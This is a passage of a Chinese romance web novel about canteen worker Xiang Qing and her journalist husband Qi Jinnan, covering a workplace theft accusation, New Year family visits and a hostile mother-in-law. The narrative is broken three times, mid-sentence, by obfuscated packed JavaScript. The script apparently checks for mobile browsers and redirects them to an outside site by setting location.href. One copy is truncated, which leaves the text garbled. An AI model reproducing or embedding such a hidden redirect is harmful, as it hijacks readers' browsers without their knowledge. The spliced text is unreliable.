顾前进舒了口气,原来是为这件事,他的面色这才缓和下来,笑着说:“排骨没有丢,是我让小赵把排骨拿给了二厂,他们厂长亲自和我来借的,说是有急用。” 这个年头物资紧缺,尤其是肉,每个单位都是有配额的,配额吃完了再多也没有,有时候赶上一个月有好几拨人参观厂子,实在是拿不出好东西招呼客人,就只好出去借。 国棉厂分一厂和二厂,也算是兄弟厂,平时有什么重大的事情两位厂长也都会相互商量,这种程度的帮忙几乎是常有的事。 黄贞媛听完这话,嗓子像是被噎住了,一肚子控诉向晴的话说不出,脸被憋得通红,彻彻底底的吃了个鳖。 向晴一听到二厂,眼神一下子亮了起来,她今天和黄贞媛闹了一出,以后在后厨怕是不好待了,原本她还指望着大师傅能教她学学手艺,现在应该是不太可能了,黄贞媛肯定不会给给她这个机会,倒不如趁着这次的事情,换个环境,去二厂看看情况。 她犹犹豫豫的开了口:“厂长,能不能把我调到二厂后厨?” 顾前进挑了挑眉,向晴突然的提议让他猝不及防,他拧着眉,脑海里迅速盘算着这件事的利弊。 今天她和黄贞媛干这一架算是把梁子结下了,她那个侄女又是个小心眼的人,两个人怕是不能和谐的相处,以后要是再吵起来,他是该帮谁,倒不如把向晴这个烫手山芋扔出去,也不用他再苦恼她的工作调动问题,一举两得。 但是面上也不能表现的太开心,好像他很开心她要走一样,嘴上仍然挽留道:“怎么了,是觉得咱一厂不好吗,你放心,你工作调动的事情我已经在想办法了,不会让你在后厨久待的。” 向晴也知道他这是在假客气,直接挑明道:“我知道主任您因为我工作的事情一定很苦恼,但是我也不想回车间了,那些机器我现在都不会用,回去了也是给大家添乱,我就想和大师傅学点做饭的手艺,有一天能自己掌勺。” 顾前进听她这么说,也不再劝阻,爽朗道:“放心,这事儿交给我了,白厂长刚借了我一扇排骨,想必这个人情他还是会给我的,我明天正好有个会,到时候把你的事和白厂长都说好,年后应该就能去正式工作了。” 向晴忙谢道:“谢谢厂长,以后有机会我会回来看您的。” 黄贞媛巴不得向晴早点走,所以一句话也没说,只是一直注视着向晴身边的祁衿南。 看他的样子应该和向晴认识,向晴居然还有记者朋友,而且这个朋友条件还真不错,从长相到气质都是她喜欢的类型,等会儿采访结束,得让叔叔给她介绍介绍,没准有进一步发展的机会。 就向晴大大咧咧的性格,有了高兴的事情早就忘了她是因为什么来的厂长办公室了,她说完自己的事,看了眼祁衿南和李岩,说道:“那你们忙吧,我先回去了。” 祁衿南不动声色的按下她的胳膊,没让她走,一本正经的看着顾前进说:“厂长,黄主任还没给向晴同志道歉呢。” 一听这话,黄贞媛瞬间坐不住了,刚刚对祁衿南升起的好感瞬间消失不见,她可是主任,怎么能给一个帮厨道歉。 顾前进就知道她会炸毛,立马瞪过去一个眼神,让她安分点,转而和祁衿南笑着说道:“这黄主任也是因为后厨东西丢了着急,小向你就理解理解她,我替她和你赔个不是。” 向晴还没来得及出声,祁衿南就接过话茬:“顾厂长是黄主任什么人,为什么要替她道歉,黄主任也是成年人了,道歉这种事情还是本人来做更有诚意吧。” 顾前进尴尬笑笑,他说的确实没错,但是他那个侄女的脾气他也了解,嘴上不饶人,骄傲要强不肯低头,不过得罪自己家人总比得罪外人要好。 “黄主任,你表个态,今天确实是你做的不对,在没有经过调查,没有证据的情况下,就说向晴同志偷窃,还起了争执,现在你当着大家的面,给向晴同志认个错,这件事就算是过去了。” 黄贞媛一脸不可思议的看着顾前进,这祁衿南不就是一个记者吗,干嘛要听他的,难道他会把这些写进采访稿里吗? 但是架不住顾前进一个劲儿的给她使着眼色,让她不得不屈服,绷着脸叽里咕噜的说了一句:“对不起。” 祁衿南转过头问道:“向晴同志,你接受黄主任的道歉吗?” 向晴有些不明所以的点点头,原本也不是一件大事,她没想到祁衿南这种在乎。 “顾厂长,我和向晴同志说几句话就回来开始采访。” “你去你去。”顾前进客气着说。 祁衿南吧向晴拉倒办公室门外,笑着问:“你什么时候下班,我送你回去。” “我今天要晚一点,你不用等我。”向晴微微一怔道。 “那怎么行,外面又是雪又是冰,大晚上的你再摔倒了怎么办,等会儿我采访完顾厂长就去后厨找你。”祁衿南坚持着。 向晴原本还想拒绝,但是里面还有人等着他,再说下去也是耽误时间,索性答应了。 向晴前脚刚走,黄贞媛后脚也出来,祁衿南见黄贞媛出来,原本脸上的笑意还未散去,礼貌性的和她笑着打了个招呼。 黄贞媛原本怒气还没有消,脸色铁青,但是看到祁衿南对着她一脸笑意,瞬间又收回了点怒意。 她叫住祁衿南,解释道:“刚刚的事情都是误会,我不是有意的。” 她想在祁衿南心里留下一个好印象。 祁矜南收回笑容,带着些冷脸道:“向晴走之前还要在这儿待几天,希望黄主任不要找她的麻烦。” 原来是给向晴撑腰的,黄贞媛立即仰起头盯着祁衿南,刚刚的腼腆瞬间消失不见,扬声道:“我是她领导,她做的不好难道我不能说吗?你是他什么人管这么宽,人家可是有丈夫的,管这么多人家也不会领你的情的。” 祁衿南轻笑了一声,声音洪亮道:“我就是他的丈夫,祁衿南。” 向晴回到后厨,话题还在她身上,钱大山一见她进来,立马迎上来,笑眯眯的关心道:“小向,怎么样,事情都解决了吗?” 向晴回到自己的板凳处,拿起还没吃完的饭盒,继续吃了起来。 “不知道钱副主任是希望解决还是不解决?”向晴说着,咬了一口馒头。 钱大山从灶旁拉了一个板凳坐在向晴身边:“你这丫头,我当然是希望解决了。” “那就如你的愿,解决了。” “厂长有没有处罚黄贞媛啊?”钱大山继续询问着。 向晴手里夹菜的动作停了下来,撇过头问道:“你怎么知道是黄贞媛的错?” 平日里钱大山和她也只是普通的工作关系,交集不多,今天却如此关心她,他这么问明显是知道黄贞媛是冤枉了她,想知道厂长有没有对她做出惩罚。 果不其然,钱大山被向晴问的顿住片刻,随即又笑呵呵的说:“你什么人我不知道,就是咱后厨谁偷了那扇排骨都不会是你,这几年我一直都在观察,你从来没往家里带过一粒米一片菜叶。” 这倒是真的,向晴确实没有把食堂的东西带回去过,也就是自己吃的多了些,其他人多多少少都会顺点东西回去,连钱大山自己都不可避免,毕竟守着个金窝,光看着谁也受不了。 向晴姑且信了他的话,“她和我道了歉。” “只有道歉?”钱大山一脸不可置信的样子。 “她也是误会了,不是成心的。” 向晴虽然不喜欢黄贞媛,但是是非对错,她还是分得清的,虽然黄贞媛大概率是因为不喜欢她再加上有人在耳边吹耳旁风才认为是她做的,但是毕竟排骨确实没了,她作为食堂主任去调查这件事确实没错。 “排骨不是刘三平偷的?” 钱大山虽然并不知道排骨是谁拿的,但是总归不可能是向晴,叫他猜测,像是那个刘三平,平时他就仗着黄贞媛的关系,没少往家拿东西。 之所以刚刚没有插手就是为了看看这次有没有机会把黄贞媛和他的职位掉个个,毕竟向晴现在也算是有后台的,要是查出来是黄贞媛手底下的人干的,厂长碍于向晴背后的人的面子,一定会处理黄贞媛的,到时候他就能当这个主任了。 向晴终于听不下去了,把饭盒盖上,直接说道:“钱副主任,这件事从头至尾就是个误会,排骨是被顾厂长借给二厂了,没有丢,所以不会有人被处理,黄主任的位置也不会腾出来。” 话都说到这儿了,钱大山也无话可说,悻悻的搬起小板凳离开了。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16407384|184546||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 向晴看着凉了的馒头和菜,重重的叹了口气,这里是真的不能再待了,天天干活都这么累了,还要斗来斗去,总共就十几个人,搞出了派系斗争的感觉。 祁衿南是下午来的,到的时候向晴正在从地窖里搬白菜,看她一副小身板,吭哧吭哧的抱着四颗大白菜,实在是叫他心疼。 他陪她一起抱完白菜,又一起洗了菜,有一些八卦的人好奇他的身份,祁衿南总是笑着介绍自己:“你们好,我是向晴的丈夫,我叫祁衿南。” 一会儿功夫,后厨所有人都知道向晴那个“坏分子”丈夫插队回来了,摇身一变成了记者,两个人感情好得很,这不心疼媳妇的手,自己蹲在那儿洗菜呢。 “我和你一起吧。”向晴有些不自然的坐在一边,时不时收到四周投来的眼神。 祁衿南一片一片菜叶子摘下来,在大红色的塑料盆里搓揉干净,又放到另一个没有水的盆子里。 “你今天剩下的活都交给我,你就踏踏实实的坐着,休息休息。” 向晴把小板凳拉倒祁衿南身边,凑到他耳边悄悄说:“大家都看着呢,说不定现在心里正在笑话我呢,还是我来干吧。” 祁衿南噗嗤一笑,要不是手上湿着真想摸摸她的头。 “我看他们是羡慕,羡慕你有一个这么好的丈夫。” 向晴见他油盐不进,还满嘴胡话,白了他一眼:“人家都是大老爷们儿,羡慕我有一个好丈夫?” 向晴只是顺着祁衿南的话说,可是这却让对方抓住了话茬。 “你承认我是一个好丈夫?”祁衿南咧着嘴笑看着向晴。 向晴没好气地说:“我怎么知道你是不是一个好丈夫,咱俩结婚后又不在一起。” 祁衿南忽然认真起来,放下手中的白菜,直勾勾的盯着向晴:“我知道说再多也没用,我希望你可以从我的行动里感受我的决心,努力做好向晴丈夫的决心。” 向晴忽然觉得浑身上下热了起来,身上的热气蹭蹭的都窜到了脸上,尤其是祁衿南那双似乎要摄她心魄的眼睛,让她喘不过气来。 “洗你的菜吧,我去准备切菜。” 祁衿南看着落荒而逃的心情,笑意挂不住,心情大好,洗菜洗的都有劲了。 “看什么呢,不好好干活!” 黄贞媛用力扣了扣木板,扯着一副凶狠的嗓音说道:“人家小夫妻甜蜜的给你羡慕上了,赶明儿你也把你媳妇儿叫来帮你干活,以后咱们这后厨想让谁来就让谁来,谁想帮忙干活就帮忙干活。” 正在揉面的师傅立即埋下头,不敢和黄贞媛对视。 向晴听着这话很刺耳,她知道祁衿南帮她干活这件事不合规矩,但是反过来想想,她都是一个要走的人了,还在意那么多干什么,能让黄贞媛不开心,她倒是很开心。 想着,她从灶上的大锅里舀了一瓢热水,蹲到祁衿南身边,故意提高声音:“凉不凉,再加点热水。” 祁衿南看出她的意图,配合着她:“没事儿,你去休息,等会儿菜也我来切,我插队的时候经常被叫去厨房帮忙,这些打下手的活儿我很在行。” 黄贞媛“啪”的一声,把菜案上的菜刀重重的又扔到菜案上,白了二人一眼夺门而去。 向晴终于忍不住,和祁衿南对视着笑出了声来。 到了向晴下班时间,她早早的收拾好东西,和祁衿南一起离开。 两个人并肩走在满是积雪的路上,向晴突然起了玩心,捏起一个雪球,朝祁衿南扔过去,两个人你追我打的,到了向家的小巷子前。 昏暗的巷子里,十分静谧,家家户户都门窗紧闭,生怕漏进去一点风。 向晴站在墙角处,胡同口的雪都被扫到了墙根儿,堆得老高。 昏暗的月光下,祁衿南觉得向晴的眼睛明亮极了,她的眼睛不含一点杂质,喜怒哀乐完全都能从眼睛中读出来,祁衿南觉得向晴是他见过的所有人中,最纯粹的一个。 向晴见他不说话,只是盯着她看,被他盯得脸有些热起来,幸而天黑他应该看不见。 于是她主动开口道:“那我进去了。” “那个...”祁衿南叫住向晴,犹豫了半天好不容易开口,“我能抱你一下吗?” 虽说两人是夫妻,但是身体接触少得可怜,唯一一次还是祁衿南走之前,给了向晴一个拥抱。 天太黑了,向晴看不清祁衿南的表情,只觉得他的声音近乎恳求。 向晴微微勾起唇角,展开穿着厚棉衣的笨重的双臂,摆好接受拥抱的姿势,轻轻说了一句:“欢迎回家,祁衿南。” 一个阔别已久的拥抱温暖了冬夜的孤寒,两个人之间的感情也像这场雪一样,开始一点一点融化。 向晴“咯吱咯吱”的踩着地上残留的雪,心里说不上来的美滋滋的,原来有人撑腰是这种感觉,看来结婚还是挺好的,祁衿南这个丈夫,目前可以打七分,剩下的三分,还有待观察。 8. 第 8 章 祁衿南是在除夕那天上的门,带着大包小包,不知道的还以为是香港来的富商,回内地探亲来了。 除夕的前一天晚上,周芳就听向晴说女婿回来了,还要来看她们,她多多少少还是开心的。 虽然当时她不满意这桩婚事,但是时过境迁,祁家现在还是原来那个祁家,平心而论,两家的差距是有的,而且还不小,一个干部家庭,一个工人家庭,任谁看都是向晴高嫁了。 所以她心里还是不安的,这媳妇难当,高嫁的媳妇就更难做了,自己的女儿什么性子她了解,让她干活没多大问题,要是给她摆脸,话里话外的点她,她是半点也忍不了。 眼下,就得看自己这个女婿怎么做了,等见到祁衿南,她还是得好好和他说道说道,到时候要是住到他家,少不了他来充当婆媳之间的润滑剂,无论如何也不能让女儿受委屈。 祁衿南一进门就大大方方的叫人,仿佛已经很习惯这种新的称呼:“爸,妈,我来看你们了。” 他笑起来很好看,原本凌厉的轮廓一笑倒显得温柔,让人不禁产生好感,向晴没少被他的笑容欺骗,替他做一些“坏”事,比如给他做作业。 周芳喜笑颜开,招呼着女婿进门,见他带了这么多东西,虽然嘴上说着客气话,但是心里还是高兴的,这说明她这女婿是个大方的,对女儿也肯定不会差。 “哎呦。”向雾环抱双臂,一副懒散的样子靠着柜门,阴阳怪气道:“许久不见,你小子都成了我妹夫了,我就知道你早就对我妹妹不安好心。” 祁衿南听她这么调侃自己也不恼,顺着她的话说:“向雾姐看人就是准,这么早就把我那点小心思看透了。” 周芳拍了向雾一把,让她少说话,转头又对祁衿南一脸笑意:“她和你开玩笑的,小祁你别见怪。” 祁衿南大方道:“没事儿妈,咱都是一家人,有什么话不能说的。” 向存志听进去了“一家人”这三个字,对这个女婿产生了些好感,给他倒了杯水,让他坐下,顺手也坐到了他对面。 向晴昨天因为惦记着今天祁衿南上门,睡得有些晚了,现在正顶着两个黑眼圈打着哈欠,这一幕恰好落到了祁衿南眼里,他没忍住扬了扬嘴角。 祁衿南紧接着开始介绍自己带的礼物,准备收割自己岳父岳母的心,“妈,我给您带了盒点心匣子,不知道您爱吃哪一种,就每一样都拿了点。” 祁衿南说着打开匣子,里面装的是标准的京八件,这可是周芳根本舍不得买舍不得吃的东西,原本想着向雾今年回来割肉买一套,但是还是没舍得。 祁衿南接着说道:“爸,小晴说您爱喝茶,我就给您买了点吴裕泰的茶叶。” 这礼确实送到了向存志的心坎上,他虽然表情上没有像周芳那样,表现出那么明显的喜欢,只是拿过茶叶端详,向晴就知道向存志是满意的。 在收到向晴肯定的眼神后,祁衿南又拿出给向雾的礼物,是一个红色的长方形盒子。 “向雾姐,这支钢笔送给你,希望你可以学业有成。” 向雾一脸“你小子挺懂事”的表情,接过钢笔,看过之后赞叹道:“还是英雄牌儿的呢,可以啊。” 向晴以为到这儿就结束了,毕竟这三样儿礼物在她看来已经超出她的预期了,也不知道祁衿南哪来的那么多钱。 没想到祁衿南又抽出一个四四方方的盒子,递到向晴面前。 “这是我在百货商店里买的一件新毛衣,你试试看合不合身。” 向晴有些惊讶地歪着头看了他一眼,疑惑地打开盒子。 里面是一件红色的毛衣,毛线的崭新的味道还在,红色也十分鲜艳,有些让她挪不开眼。 这件毛衣是她完全没有想到的,他一定是注意到了她穿的这件毛衣的褪色磨损,所以才买了一件新毛衣,她很喜欢,非常喜欢,既喜欢祁衿南的细心,也喜欢收到一件满意的礼物。 她还没穿过买的毛衣呢,虽然她的手糙,也不影响摸上去软软的手感,十分舒适,想必穿在身上也很舒服。 周芳一见是毛衣,就知道这个女婿能认下,不仅心细还大方,现在细心的男孩子可不多见,这下她彻底放下了悬着的心。 向雾见向晴眼里的喜欢快要溢出来了,笑道:“快去试试吧,看看合不合身。” 向晴看了一眼祁衿南,微微一笑,有些害羞的抱着盒子回到了房间。 三两下就换上了这件新毛衣,她自己在镜子里转过来转过去的端详着,嘴角早就飞上了天,好看,合适,满意。 祁衿南看着向晴穿着自己买的毛衣走出来,眼睛根本挪不开。 原本她生的就白,换上一件亮色的衣服,就衬得她更白皙了,一张小脸缩在毛衣领里,大眼睛忽闪忽闪的眨着,真是好看。 向晴小声开口道:“谢谢,我很喜欢。” 祁衿南:“喜欢就好。” 说罢他又转过头,从大衣兜里掏出来一张票,“爸妈,这是我托朋友搞来的一张电视票,等年后商店开门了,你们就可以把电视买回来。” 这年头,电视票可是稀罕东西,他们这院子里,还没有人家里有电视呢,没想到向家马上就要做第一个了,这让周芳十分欢喜,到时候她可以自豪的告诉所有人,这电视票,是她姑爷送的,她有一个好姑爷。 向存志对这姑爷的好感,瞬间又提升了不少,看来女儿的选择没有错,虽然经历了几年的坎坷,但是现在看着二人一副其乐融融的景象,以前的苦也算没有白吃,只要他们以后能过的幸福,他也替他们开心。 祁衿南这天的上门,算是把自己老丈人和丈母娘的心都收付住了,终于在向家站稳了自己这个女婿的脚跟。 这也让向晴很开心。 临走前,他和向晴说,等明天来接她,去他家给他父母拜年。 向晴知道,迟早会有这么一天,但是还是有些紧张无措,对于自己的婆婆,她是打心眼里有些恐惧的。 一晚上想着明天的见面,她没怎么睡好,天 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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进门前,祁衿南握住向晴的手,给了她一个鼓励的眼神,让她放轻松。 “待会儿进去了,你该吃吃该喝喝,不用拘着,你就把这儿当成你自己家。” 向晴知道祁衿南是好意,但是无论如何,这也不是她家,她不可能不拘束。 “爸妈,小晴来了。” 祁衿南推开门,在门口的衣架上脱下外套挂上去,向晴也脱了自己的外套和头巾,祁衿南熟练地接过,替她挂好。 向晴有些忐忑的转过身去,双手交叠在身前,只见胡红梅和一个穿着和她颜色一样的毛衣的女孩儿正在饭桌上包着饺子。 这个女孩儿应该就是祁衿南之前说的在他家暂住的白瑾。 待她转过身,向晴发现,不只是颜色一样,完全就是一模一样。 难道是祁衿南买了两件? 向晴忽然觉得,眼前的红色很扎眼,原本因为新衣服带来的喜悦瞬间荡然无存。 9. 第 9 章 祁衿南自然也看见了白瑾的毛衣,他眉头微微一蹙,第一时间向向晴看去,见她脸色眉头紧拧,就知道她一定是误会了。 那天他去商店,他母亲胡红梅让他带着白瑾去逛逛,说她自从来了这里还没出去转过。 原本祁衿南不打算和白瑾有过多的接触,毕竟他是结了婚的人,要和其他女同志保持距离,即使在他心里白瑾就是一个同辈的妹妹。 但是胡红梅都这么说了,他只能尽一尽地主之谊,带她大略逛了逛。 当时买毛衣的时候,她就在一旁,所以现在她穿着和向晴一样的毛衣,很难说她不是故意的。 他不明白她为什么要这么做,要是她喜欢这件毛衣,那当时完全和他说,他换一件买给向晴就好了,现在穿出来,这是在膈应谁? 白瑾倒像是没事人一样,停下包着饺子的手,拍了拍手上的面粉,笑着向前走了几步,上下打量着向晴,笑道:“你就是向晴姐姐吧,长得真好看,衿南哥真有眼光,这件毛衣的确很适合你。” 向晴扯了扯嘴角,半笑不笑道:“你穿的也很合适。” 祁衿南却淡淡道:“红色挑人,不是谁都能穿的起来的。” 白瑾的一张小脸瞬间涨得通红,半笑的表情僵住,手上紧紧攥着拳头,尴尬道:“我就说我不适合红色,梅姨非要给我买这件,说是新年好兆头,我这个做小辈的也不好拒绝。” 此时,从进门就一直沉默不语的胡红梅,终于朝这边扫了一眼,不过很快就又收回,语气不咸不淡道:“毛衣是我给小瑾挑的,这毛衣摆在那就是卖的,只许你买不许别人买啊。” 胡红梅说着,盛了一勺馅料到手上的饺子皮里,手指熟练地把饺子边捏着褶,包好放到竹屉上。 “妈!”祁衿南刚一张口,向晴轻轻地拉动他的手,冲他摇了摇头,大过年的,因为这么一件小事吵起来也不值当的。 向晴算是明白了,这是她这个婆婆给她的下马威,告诉她她并不喜欢她这个儿媳妇,她心里的儿媳另有他选。 气氛陷入冰点,向晴的心也像掉进了冰窖,冰凉冰凉的,她想,那大不了就离婚,反正她是不会留在这个家受气的。 “都站着干嘛,快坐啊。” 祁世海的出现打破了这个僵局。 他手上拿着个釉青色茶杯,坐到客厅侧面的单人沙发上,笑呵呵的说:“这就是小晴吧,我们之前是不是见过?” 祁衿南拉着向晴,越过眼眶微红的白瑾,坐到一旁的沙发上,从桌上拿起一个橘子剥了起来。 “初中的时候,简清表哥在的时候,我和我姐来过您家。”向晴双手搭在膝盖上,规规矩矩的坐在沙发中间,回答着看上去很温和的公公的话。 “我想起来了。”祁世海一手拿着杯子,一手拿着杯盖,翘着二郎腿整个人陷在沙发里,“当时小南也上初中,你们还都是小孩子,这一眨眼就结了婚成了大人,听小南说,这些年我们不在他身边,多亏了你他才能留在附近插队,保住一条腿,我代表我们全家感谢你。” 听到祁世海说起祁衿南的腿,向晴又看了一眼还在包饺子的胡红梅的背影,要是让她知道,他儿子的腿是因为救她才受伤的,估计今天她连这个门都进不来。 向晴:“衿南读书的时候也帮了我很多,我做这些也是应该的。” 向晴正说着,祁衿南把手上剥好的橘子掰成两半,把上面的白丝仔仔细细撕下去,递到向晴手上。 “诶。”祁世海正色道:“这能一样吗,结婚可是一辈子的大事,你放心,我都和小南说了,让他一定要好好对你,等年后你们就搬来和我们一起住。” 向晴刚接过橘子的手顿在半空,又默默地收回,双手抱着半块橘子,也不吃。 祁衿南把她的停顿一丝不落的收入眼底,原本打算等一切都处理好再告诉家里,但是看他母亲刚刚的态度,他必须要给向晴吃一颗定心丸,他不想再等了,是时候把自己的打算告诉所有人。 “爸。”祁衿南擦了擦手,坐直身子,“我们不住家里,我们出去单独住。” 一听这话,向晴眼神中带着些惊讶看向他,祁衿南注意到目光,把手搭到向晴的膝盖上,给了她一个肯定的眼神。 “不住家里住哪儿啊?”祁世海一脸疑惑的放下搭着的腿。 祁衿南:“我把爷爷留下的大杂院收拾出来一间屋子,过完年就搬进去。” 向晴知道这里,祁衿南下乡之前都是住在那里,她去那儿看过他几次。 “那里不是你五婶儿和她女儿燕燕住着吗?之前是因为没办法,才让你一个大小伙子和她们住的,现在住进去算怎么回事儿,家里又不是住不下。”祁世海有些不满意儿子这个私自做的决定,表情凝重起来。 五婶儿白凤霞是林老五的妻子,林老五和祁世海是战友,后来不幸身亡,所以对于林老五的遗孀,祁世海一直是多加照顾的。 祁衿南爷爷去世后,大杂院里的三间屋子一直空着没人住,所以祁世海就让五婶儿和她女儿搬了进去,还给她在制鞋厂安排了一份工作。 后来祁家出事,房子也被收了回去,祁衿南没有地方去,只能和五婶儿她们住到了一起。 祁衿南:“这个爸你就不用操心了,我都和五婶儿说好了,屋子也都收拾好了,家具我也找人打好了,墙刚刷完,这两天正在通风,过几天就能住进去了。” 祁世海正欲再次开口反对,忽然就听见一声清脆的撞击声响起,是胡红梅用碗敲的桌子。 “不行!”胡红梅没有转过身,只有一个靠在椅背上的背影,“你是想分家吗?你姐不回来就算了,你现在结了婚,翅膀也硬了,这么大的事都不和我们商量,你眼里还有我和你爸吗?” 向晴只能看到胡红梅的后背,即使看不见脸,也能想象出她的表情。 “妈,我就是知道我说了你们也不会同意,所以才没说的。” 祁衿南握住向晴的手,两个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16407386|184546||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人一起站起来,铿锵有力的说出在心中酝酿了好久的话:“妈,今天我就和您把话说清楚,我已经和向晴结婚了,他现在是我的妻子,我亏欠她的太多了,我会用我的一生来补偿,还有...” 说到这儿,他停顿了一下,转头看向向晴,一声不大不小却添了半缕柔情的声音传到向晴耳畔。 “我爱她,这辈子我认定她了,我不会做任何让她受委屈的事情。” 其他人的反应向晴没有心思注意,她只觉得自己的耳朵热热的,人也是恍恍惚惚的,穿好衣服呆呆地跟着祁衿南出了门。直到坐上了车座,一阵寒风吹过,才把她吹清醒。 “祁衿南。” “怎么了,冷吗?” “你刚刚说的最后一句话,是什么意思?” 大年初一,街上几乎没有人,只有零星几个小孩子在街上滚着铁环玩儿。 祁衿南捏住闸,双脚着地,把车停在一个避风的胡同口。 他没有转身,心扑通扑通跳着,半晌才开口:“就是你理解的那个意思。” 原本向晴还抓着他两侧的衣服,现在手慢慢松开。 她打从和祁衿南认识,已经快七年了,她只当他是一个很好的朋友,到后来祁家出事,祁衿南有意疏远她,再到后来他的腿受伤,她出没医院照顾他,到最后两个人稀里糊涂的领了证。 这中间,向晴从来没有想过“爱”这个字会从他口中说出来,周芳总说她很迟钝,她还不承认,现在想想,祁衿南对她好像确实和别人不太一样,这就是因为“爱”吗? 她不知道祁衿南是什么时候有的这个心思,她承认,就算再迟钝,听到那么明晃晃的三个字,还是让她很悸动的。 向晴:“什么时候开始的?” 还是祁衿南想了想,是他用相机拍到她明媚的笑容的时候?还是她和他说“我们结婚吧”的时候? 大概是每一个这种时刻,让“爱”一遍一遍的加强吧。 “记不清了,大概是每一次见你都很开心,见不到你心里就一直惦记着,听到有人要给你介绍对象就嫉妒心发狂,和你分别的日子里每天都在想你,,这应该就是爱吧。” 车座上的向晴被这句“情话”压弯了嘴角,心怦怦跳。 “那你对我什么感觉?” 祁衿南正要回头看她,向晴忙得在他后背拍了一掌,怕她看到自己那“不值钱”的笑。 “我什么我,我饿了,快点找地方吃饭吧。”向晴憋住笑,岔开了这个让她难为情的问题。 今天以前,她从来没有想过这个问题,一直以来她都把他当成朋友,但是这个朋友的界限是很模糊的,现在,这个界限好像被突破了,似乎已经在越界了。 “得嘞您呢,出发!” 祁衿南知道这是向晴惯用的逃避方法,她现在还不明白自己的感情,或者说她还没有喜欢上他,没关系,以后有的是时间让她改变心意,以后的日子还长,他会一直陪在她身边。 10. 第 10 章 两个人最后兜兜转转还是去了祁青西那里,发现祁青西不在,祁衿南就用向晴的备用钥匙开了门进去。 一进门,祁衿南往菜篮子里看了一眼,只有零星几个土豆和一颗白菜。 “这大过年的,我姐都没备点年货。” 向晴摘下围巾,挂好:“青西姐肯定是又主动申请值班去了,不用在家吃肯定就没买呗。” “那我们吃什么?” “好办。”向晴拉开抽屉,拿出一捆挂面在祁衿南面前晃了晃。 谁知对方看见挂面却耷拉着一张脸,好像很不满意向晴这个决定。 “大过年的,咱不能就吃挂面吧。” 这是祁衿南和向晴过的第一个年,刚刚让她在家里受了气,现在又只能吃挂面,这让他十分愧疚。 “挂面怎么了,你插队的时候,要是能天天都吃上挂面,你不得开心死。”向晴明白他的心意,笑着安慰他。 “不行。”祁衿南抄起帽子就往外走,“你等我一会儿,我马上回来。” “诶。”向晴知道拦不住他,无奈的摇头笑笑。 走到窗户处,见他匆忙的小跑到车子处,骑着车飞快的消失在她的视野中。 向晴想着闲着也是闲着,先做一份炸酱面出来,之前赵大妈做的酱味道很不错,她还和赵大妈学过一次,在家也做过几次,得到了周芳和向存志一致的好评。 祁衿南还没有吃过她做的炸酱面,她想给他做来吃。 但是食材实在太少,尤其是肉酱里的肉是必不可少的,看来只能去月月姐家借一些。 这种筒子楼几乎没有什么隔音,但凡屋里说话声音高些,外面的人立马就能听到,而且还听得很清楚。 向晴刚走到门口,还没敲门,里面的争吵声轰然而来,还有孩子的哭声此起彼伏。 向晴听了两句,约莫还是之前青西姐提起的婆媳问题,她也不好在这儿继续听墙角,忙转身离开,一不防备结结实实的撞到一个人身上。 她“哎呀”的叫唤了一声,捂着额头抬头看去,是住在祁青西隔壁的邱燃邱医生。 看他一脸疲惫,新冒出的胡子还没来得及刮,眼袋都要耷拉到地上,就知道他又一宿没睡。 对方先是撞到人的惊慌,看清是向晴后,勉强撑起几分抱歉的笑意,睁了睁眼问道:“不好意思,没撞疼你吧。” “没事儿。”向晴笑着说,“邱医生又熬大夜做手术了?” 邱燃挠了挠头,“昨天半夜忽然有个紧急手术,一忙就忙到了现在,这不赶紧回来补个觉。” 向晴见他这一脸疲态,也不再和他说下去,让他赶快去休息,想着等会儿做好面也给他送上一份,忽然又想到她没借到肉,赶紧又把刚打开门的邱燃叫住,讪讪的笑着问:“邱医生,你家有肉吗?” 最后她不仅借到了肉,人家还送了她好些水果,向晴推搡了半天还是收下了,想着待会儿把水果切好,带到医院给青西姐。 现在正是饭点,楼道里都是饭香味,向晴胃里“咕噜咕噜”叫着,吞了口口水,自己在水池旁的公用厨房有条不紊的做着炸酱面。 她做的很快,酱做好盛到一边,顺手把锅洗了,面等祁衿南回来再煮,要不然坨了就不好吃了。 接着她把苹果香蕉橘子都去了皮,切好,整整齐齐的摆到饭盒里,待会儿拿给祁青西。 一切都处理好,刚坐定,就听见急促的脚步声“噔噔噔噔”的传来,紧接着门被推开。 祁衿南咧着嘴露出一口白牙,吸了吸冻得红彤彤的鼻子,兴奋道:“饭来了饭来了。” 他怕凉了,就一直把饭盒在怀里揣着,单手骑的车。 向晴笑着接过来,一个网兜提着三个饭盒,向晴一个一个打开,炖排骨,西红柿炒鸡蛋,炸丸子,炒花生,当然,肯定少不了饺子。 这比向晴自己在家吃的还丰盛。 她抬头问道:“你这是去哪弄的?” 祁衿南搓着手,笑说:“李岩家。” 向晴担忧的问道:“你拿这么多回来,人家没说什么吧。” 